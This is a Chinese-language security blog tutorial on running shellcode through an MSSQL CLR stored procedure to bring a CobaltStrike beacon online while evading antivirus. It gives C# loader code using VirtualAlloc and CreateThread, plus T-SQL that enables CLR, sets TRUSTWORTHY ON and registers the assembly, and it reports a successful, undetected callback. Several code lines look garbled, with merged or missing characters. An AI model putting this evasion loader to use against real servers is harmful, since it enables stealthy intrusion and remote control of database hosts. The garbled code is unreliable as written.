实战|MSSQL绕过杀软上线

科技   2024-10-03 11:00   中国香港  

介绍

首先介绍下mssql执行命令的常用方式如:xp_cmdshell, SP_OACREATE,CLR

xp_cmdshell:

xp_cmdshell 是 SQL Server 中的一个系统存储过程,允许用户通过 SQL Server 执行 Windows 操作系统命令,当调用 xp_cmdshell 时,可以传递一个字符串参数,该参数是要执行的 Windows 命令。xp_cmdshell 将这个命令传递给 Windows 操作系统的cmd.exe执行并返回运行结果,从而执行系统命令。

SP_OACREATE:

SP_OACREATE 是 SQL Server 中的一个系统存储过程,它用于创建 OLE 对象。OLE(Object Linking and Embedding),允许应用程序共享数据和功能。通过 SP_OACREATE,可以在 SQL Server 中创建和使用 COM(Component Object Model)对象。从而执行系统命令

CLR:

CLR(Common Language Runtime)使用 .NET Framework 语言编写代码,并在 SQL Server 数据库引擎中执行这些代码。CLR 集成可以在 SQL Server 中运行托管代码。当 SQL Server 需要执行这些对象时,CLR 会加载并运行它们。执行过程中 SQL Server 将调用传递给 CLR 执行代码,并将结果返回给 SQL Server。从而达到执行系统命令

上面的方法执行命令会调用cmd,安全软件会进行拦截,接下来介绍一种可以绕过安全软件上线CobaltStrike的方法

开始

Visual Studio配置

在Visual Studio 中我们安装数据存储和处理工具集

项目配置

创建新的项目,选择SQL Server 数据库项目

右键点击项目属性

在项目设置中选择目标数据的版本,勾选”创建脚本.sql文件”

在SQLCLR中选择目标数据库的.net版本,选择权限级别为UNSAFE

新建项目,选择SQL CLR C#存储过程

代码

开始编写代码

using System;
using Microsoft.SqlServer.Server;
using System.Runtime.InteropServices;


public partial class StoredProcedures
{

    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void shellcode_loader(string sc)
    
{
        // 在此处放置代码
        SqlContext.Pipe.Send(shellcode_exec(sc));
    }

    public static string shellcode_exec(string sc)
    
{
        byte[] sa = new byte[1000];
        int shellcode_len = sc.Length / 2;
        for (int i = 0; i < shellcode_len; i++)
        {
            string code = "0x" + sc.Substring(i * 22);
            int a = Convert.ToInt32(code, 16);
            sa[i] = (byte)a;
        }

        UInt32 shellcodeAddress = VirtualAlloc(0, (UInt32)sa.Length, 0x10000x40);
        Marshal.Copy(sa, 0, (IntPtr)(shellcodeAddress), sa.Length);
        CreateThread(00, shellcodeAddress, 000);
        return "";

    }
    [DllImport("kernel32")]
    private static extern UInt32 VirtualAlloc(UInt32 lpAddress, UInt32 dwSize, UInt32 flAllocationType, UInt32 flProtect);

    [DllImport("kernel32")]
    private static extern UInt32 CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, UInt32 lpParameter, UInt32 dwCreationFlags, UInt32 lpThreadId);
}

选择点击启动

执行

在:你的项目名称\bin\Release路径下,项目名称.sql中找到以下

GO
CREATE ASSEMBLY [你项目的名字]
    AUTHORIZATION [dbo]
    FROM 0x4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000

在数据库中执行

sp_configure 'clr enabled'1
GO
RECONFIGURE
GO
ALTER DATABASE master SET TRUSTWORTHY ON;
GO
CREATE ASSEMBLY [你项目的名字]
    AUTHORIZATION [dbo]
    FROM 0x4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000
GO
CREATE PROCEDURE [dbo].[shellcode_loader]
@sc NVARCHAR (MAX)
AS EXTERNAL NAME [你项目的名字].[StoredProcedures].[shellcode_loader]

生成shellcode(注意:payload的位数一定要与数据库的位数相同,不然会导致数据库崩溃)

执行,注意去掉转义序列"\x"

exec shellcode_loader 'shellcode'

上线

成功上线且没有报毒

注意

1.在SQL Server 2016及更高版本中,由于安全策略会导致数据库的连接中断

2.payload的位数一定要与数据库的位数相同,不然会导致数据库崩溃

参考

https://github.com/mindspoof/MSSQL-Fileless-Rootkit-WarSQLKit

https://macchiato.ink/web/web_security/mssqlclr_bypass/

https://y4er.com/posts/mssql-execute-command-with-clr-assemblies/


乌雲安全
乌雲安全,致力于网络安全攻防、内网渗透、代码审计、安卓逆向、CTF比赛、应急响应、安全运维、安全架构、linux技巧等技术干货分享。
 最新文章